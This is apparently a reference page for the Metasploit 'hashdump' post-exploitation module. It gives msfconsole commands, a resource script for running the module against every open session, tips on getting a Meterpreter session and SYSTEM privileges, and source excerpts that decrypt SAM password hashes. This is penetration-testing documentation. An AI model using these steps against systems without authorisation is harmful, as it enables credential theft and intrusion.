Windows Gather Local User Account Password Hashes (Registry) - Metasploit


This page contains detailed information about how to use the post/windows/gather/hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Local User Account Password Hashes (Registry)
Module: post/windows/gather/hashdump
Source code: modules/post/windows/gather/hashdump.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will dump the local user accounts from the SAM database using the registry

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/hashdump
msf post(hashdump) > show options
    ... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command.

Having this feature as a post module allows it to be used in different penetration testing scenarios.

Vulnerable Application


To be able to use post/gather/hash_dump, you must meet these requirements:

  • You are on a Meterpreter type session.
  • The target is a Windows platform.
  • It must be executed under the context of a high privilege account, such as SYSTEM.

Verification Steps


Please see Overview for usage.

Scenarios


Upgrading to Meterpreter

To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try:

  1. Use the exploit/multi/script/web_delivery module.
  2. Manually generate a Meterpreter executable, upload it, and execute it.

High Privilege Account

Before using post/gather/hashdump, there is a possibility you need to escalate your privileges.

There are a few common options to consider:

  • Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you which exploits might be suitable for the remote target.
  • The getsystem command in Meterpreter.
  • Stolen passwords.

Hashdump From Multiple Sessions

One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage.

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/hashdump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/hashdump

msf6 post(windows/gather/hashdump) > show info

       Name: Windows Gather Local User Account Password Hashes (Registry)
     Module: post/windows/gather/hashdump
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  hdm <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will dump the local user accounts from the SAM database 
  using the registry

Module Options


This is a complete list of options available in the windows/gather/hashdump post exploitation module:

msf6 post(windows/gather/hashdump) > show options

Module options (post/windows/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/hashdump post exploitation module:

msf6 post(windows/gather/hashdump) > show advanced

Module advanced options (post/windows/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/hashdump module can do:

msf6 post(windows/gather/hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Handle is invalid, retrying...


Here is a relevant code snippet related to the "Handle is invalid, retrying..." error message:

112:	    rescue ::Rex::Post::Meterpreter::RequestError => e
113:	      # Sometimes we get this invalid handle race condition.
114:	      # So let's retry a couple of times before giving up.
115:	      # See bug #6815
116:	      if tries < 5 and e.to_s =~ /The handle is invalid/
117:	        print_status("Handle is invalid, retrying...")
118:	        tries += 1
119:	        retry
120:	
121:	      else
122:	        print_error("Meterpreter Exception: #{e.class} #{e}")

Meterpreter Exception: <E.CLASS> <E>


Here is a relevant code snippet related to the "Meterpreter Exception: <E.CLASS> <E>" error message:

117:	        print_status("Handle is invalid, retrying...")
118:	        tries += 1
119:	        retry
120:	
121:	      else
122:	        print_error("Meterpreter Exception: #{e.class} #{e}")
123:	        print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
124:	      end
125:	      # rescue ::Exception => e
126:	      #	print_error("Error: #{e.class} #{e} #{e.backtrace}")
127:	    end

This script requires the use of a SYSTEM user context (hint: migrate into service process)


Here is a relevant code snippet related to the "This script requires the use of a SYSTEM user context (hint: migrate into service process)" error message:

118:	        tries += 1
119:	        retry
120:	
121:	      else
122:	        print_error("Meterpreter Exception: #{e.class} #{e}")
123:	        print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
124:	      end
125:	      # rescue ::Exception => e
126:	      #	print_error("Error: #{e.class} #{e} #{e.backtrace}")
127:	    end
128:	  end

Unknown hboot_key revision: <REVISION>


Here is a relevant code snippet related to the "Unknown hboot_key revision: <REVISION>" error message:

156:	      aes.key = bootkey
157:	      aes.padding = 0
158:	      aes.iv = vf[0x78, 16]
159:	      aes.update(vf[0x88, 16]) # we need only 16 bytes
160:	    else
161:	      raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
162:	    end
163:	  end
164:	
165:	  def capture_user_keys
166:	    users = {}

Unknown user hash revision: <REVISION>


Here is a relevant code snippet related to the "Unknown user hash revision: <REVISION>" error message:

275:	      aes.key = hbootkey[0, 16]
276:	      aes.padding = 0
277:	      aes.iv = enchash[8, 16]
278:	      okey = aes.update(enchash[24, 16]) # we need only 16 bytes
279:	    else
280:	      print_error("Unknown user hash revision: #{revision}")
281:	      return default
282:	    end
283:	
284:	    des_k1, des_k2 = rid_to_key(rid)
285:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • hdm

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.